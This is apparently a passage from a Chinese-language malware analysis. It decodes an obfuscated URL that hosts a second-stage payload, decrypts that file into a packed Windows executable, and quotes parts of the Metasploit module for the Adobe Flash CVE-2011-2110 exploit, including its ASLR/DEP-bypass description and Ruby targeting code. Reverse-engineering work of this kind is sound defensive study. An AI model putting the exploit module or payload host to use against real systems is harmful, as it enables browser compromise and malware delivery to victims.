import binascii import zlib hex_string = "02e6b1525353caa8ad555555ad31b637b436aeb1b631b1ad35b355b5a93534ab51d3527b7ab7387656" binary_string = binascii.unhexlify(hex_string) # print binary_string res = "" for i in binary_string: res += chr(ord(i) ^ 122) # print res print(zlib.decompress(res))
得到
1
http://www.amcia.info/down/cd.txt
再根据 JS 代码逻辑对该文件进行解密
1 2 3 4 5 6 7
import zlib data = open("./cd.txt", "rb").read() dec = "" for i in data: dec += chr(ord(i) ^ 122) file = zlib.decompress(dec) open("decode.bin", "wb").write(file)
用 ImHex 查看解密结果发现是加壳了的 PE 可执行文件,可以推测这是漏洞触发后小马拉的大马
1 2 3
4D 5A 90 00 03 00 00 00 04 00 00 00 FF FF 00 00 B8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E8 00 00 00 0E 1F BA 0E 00 B4 09 CD 21 B8 01 4C CD 21 54 68 69 73 20 70 72 6F 67 72 61 6D 20 63 61 6E 6E 6F 74 20 62 65 20 72 75 6E 20 69 6E 20 44 4F 53 20 6D 6F 64 65 2E 0D 0D 0A 24 00 00 00 00 00 00 00 D7 B5 A0 42 93 D4 CE 11 93 D4 CE 11 93 D4 CE 11 CA F7 DD 11 91 D4 CE 11 E8 C8 C2 11 92 D4 CE 11 10 C8 C0 11 91 D4 CE 11 FC CB CA 11 97 D4 CE 11 93 D4 CF 11 CC D4 CE 11 50 DB 93 11 9C D4 CE 11 A5 F2 C5 11 97 D4 CE 11 54 D2 C8 11 92 D4 CE 11 52 69 63 68 93 D4 CE 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4C 01 04 00
PE32 executable for MS Windows 4.00 (GUI), Intel i386- , PECompact2 compressed, 4 sections
Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- SRVHOST ******* yes The local host or network interface to listen on. This must be an address on the local machine or ******* to listen on all addresses. SRVPORT 8080 yes The local port to listen on. SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random)
Description: This module exploits a vulnerability in Adobe Flash Player versions *********** and earlier. This issue is caused by a failure in the ActionScript3 AVM2 verification logic. This results in unsafe JIT(Just-In-Time) code being executed. This is the same vulnerability that was used for attacks against Korean based organizations.
Specifically, this issue occurs when indexing an array using an arbitrary value, memory can be referenced and later executed. Taking advantage of this issue does not rely on heap spraying as the vulnerability can also be used for information leakage.
Currently this exploit works for IE6, IE7, IE8, Firefox 10.2 and likely several other browsers under multiple Windows platforms. This exploit bypasses ASLR/DEP and is very reliable.
defexploit # src for the flash file: external/source/exploits/CVE-2011-2110/CVE-2011-2110.as # full aslr/dep bypass using the info leak as per malware path = File.join( Msf::Config.data_directory, "exploits", "CVE-2011-2110.swf" ) fd = File.open( path, "rb" ) @swf = fd.read(fd.stat.size) fd.close super end
defcheck_dependencies use_zlib end
defget_target(agent) #If the user is already specified by the user, we'll just use that return target if target.name != 'Automatic'
if agent =~ /MSIE/ return targets[0] # ie 6/7/8 tested working elsif agent =~ /Firefox/ return targets[0] # ff 10.2 tested working else returnnil end end
# Avoid the attack if the victim doesn't have the same setup we're targeting if my_target.nil? print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}") send_not_found(cli) return end